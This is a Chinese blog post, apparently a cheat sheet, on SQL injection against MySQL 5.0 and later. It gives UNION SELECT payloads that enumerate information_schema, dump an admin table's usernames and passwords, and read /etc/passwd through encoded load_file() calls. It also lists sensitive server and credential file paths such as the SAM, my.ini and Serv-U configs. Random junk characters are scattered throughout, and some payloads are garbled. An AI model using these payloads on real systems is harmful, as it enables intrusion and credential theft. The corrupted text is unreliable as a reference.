mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。


- N2 Z5 e  B. v3 Q- s6 K
) @# x0 B: K! t9 EMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
" h. q* z( W$ s" D5 L$ t- x' x中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
明。
1.得到所有数据库名：
, j; e; {% j. q0 p$ t9 _|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称

2 y& H- D* D" Q/ d7 D7 `- E|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
" ?, W0 W9 A. v# V, M& x6 s- i- p|—字段：TABLE_NAME ->存储表的表名
: b" M) |7 E1 ~* a7 _8 A5 E% _9 j
0 E6 N" m9 G# Y8 ?8 t9 T|COLUMNS ->存储的字段名表
! C- G. Q2 U& J8 r|—字段：TABLE_SCHEMA ->该字段所属数据库名
' m0 h9 V$ J2 z/ M4 K: c|—字段：TABLE_NAME ->存储所属表的名称

|—字段：COLUMN_NAME ->该字段的名称

) Y, C  S; I3 b# L) m3 t; |#########################################################################
# [* B( ?* L; Y# L##

0×001 获取系统信息:
; m/ l7 ?" X1 d; y$ ?/ z2 n+ }# U
union select 1,2,3,4,5,concat
: z/ j1 q; e7 k0 r" c$ I9 F# \(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
1 z$ Z# q$ l$ ~5 ]2 d6 o
/*
/ ?% m. M4 c& G" _
1 m. Z; [- {! b& Y@@global.version_compile_os 获取系统版本

0 k7 J1 P0 t4 h4 O@@datadir 数据库路径
database() 当前数据库名称
# w- s8 v  y! [+ d" _  J" ]0x3c62723e 换行HEX值

*/

######################################################################

% g; x7 r' g9 z! K3 H7 w4 y0×002 获取表名

union select 1,2,group_concat(table_name),4,5,6,7,8,9 from
/ T) e: [* A9 {) A$ J6 Einformation_schema.tables where table_schema=0x67617264656e /*
2 ~, x. ]1 F5 H; r, l) c% W
/*
- g$ D, ^1 ~; U- o9 {
0x67617264656e 为当前数据库名
8 c+ s0 J* ^1 p+ C$ K
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

*/

7 c) r0 c9 j$ o$ `! d5 I/ B######################################################################
/ v3 B, u# t1 \; Z
0×003 获取字段
# i) ~' ~* Y. b* o7 [! R' h, L
. m( W2 ~  S7 I* r' n; hunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
information_schema.columns where table_name=0x61646d696e and

; M) H& B' e# A* U5 Q. M
! T1 w( ]0 L- V! t9 O$ ]table_schema=0x67617264656e limit 1 /*

- K2 _6 F; M0 c8 e: @5 ^/*
6 S8 y; o8 l0 i6 T6 D# T) s9 h
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段
' w( [  v8 h* B. o
. p" U( Z6 c3 O0 J3 U  c0x61646d696e ->选择一个表

4 r# b+ V* @8 y0x67617264656e ->数据库名
) j% L4 w- X8 s6 }" g- L; r
*/
/ W. c3 [) ]$ H2 i
. v1 J5 i; W+ ?0 p2 t% P2 k4 Q#####################################################################
! i+ h) y, @5 [: u1 Y* H
0×004 获取数据

union select 1,2,3
6 h' M5 k+ q! R+ M( I+ r- B2 Y* G+ y,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin

union select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin

  r8 I. s1 L: l7 Z# R8 Q/*

# a6 i1 e6 |) a0x3c62723e 换行符号HEX编码

group_concat 同时获得该字段所有数据

*/
9 {. [' m$ W+ L
* M& y3 a5 Z! o; u1 l* U

* e5 o: K$ |* N0 V+ t3 Z! O

0 Z* {5 k8 y' Y8 }. T. Y, \3 A1 T顺便添加一些mysql注入时非常有用的一些东西

, A' z2 b. `) W8 D+ J$ P简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。

/ Z8 m! M5 {* u& y- S1 K* X2 L8 [1:system_user() 系统用户名
' c/ A/ k8 K0 e& W2:user()        用户名
3:current_user()  当前用户名
) z! Q; }) P0 K, M4:session_user()连接数据库的用户名
5:database()    数据库名
( O1 `* h! {+ i6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
8@datadir     读取数据库路径
4 T) E, w$ I; R9@basedir    MYSQL 安装路径
* T; f6 ^# [3 k7 f/ q10@version_compile_os   操作系统  Windows Server 2003,
  x4 }0 H3 C( z- ]4 g6 D$ m6 F1 E- Q0 }7 c收集的一些路径：
2 h, n4 h9 E/ O/ E- {WINDOWS下:
c:/boot.ini          //查看系统版本
$ k4 Z( {- |4 w: L# F) @c:/windows/php.ini   //php配置信息
3 f! H) v$ I. r5 |0 Hc:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
; e0 o) K% W' U4 v3 R( oc:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
6 V% N" \4 q: B! C' r& mc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
9 E$ T$ e! {1 Q. c7 A6 q+ ic:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
$ p5 M# r5 W8 \* E3 Bc:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
! O0 e$ i! \% o/ A1 l  h+ ^1 m; n! I//存储了pcAnywhere的登陆密码
, V$ s& j3 J, o5 n5 k* _c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
5 b# k6 E. O; v9 V8 [9 @, |d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码

LUNIX/UNIX下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
5 A. |; i" y- Z+ G9 v! {. S/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
: s  c$ e! m$ Z; G; k/usr/local/app/php5/lib/php.ini //PHP相关设置
8 k$ d; _/ y8 U% ?4 Z0 ^7 f2 E6 P" Y/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
5 p' ?9 p) O: l9 H/ R+ M/etc/my.cnf //mysql的配置文件
- W5 T5 o2 ^& T/etc/redhat-release //系统版本
/etc/issue
; E, k0 n; ^) N+ v# `/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
) ~/ z; b: G& `# L  k3 @, U/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
6 r6 M) q+ l% z9 y, S4 t4 G/ ?5 A/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
9 Q# B( @- z/ i% W/ W" W5 G1 Y8 u/ O& Z/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
+ P9 k: i5 p5 S2 H- B* k: u/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
4 z- D2 k1 n6 s( V$ Jload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
% l$ H4 p$ G; ]) sreplace(load_file(0x2F6574632F706173737764),0x3c,0×20)
8 h" X3 j* F: j0 x+ mreplace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
$ t) f+ H& d0 f4 f  p上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
+ |; X' ~/ ]: N; {! t0 b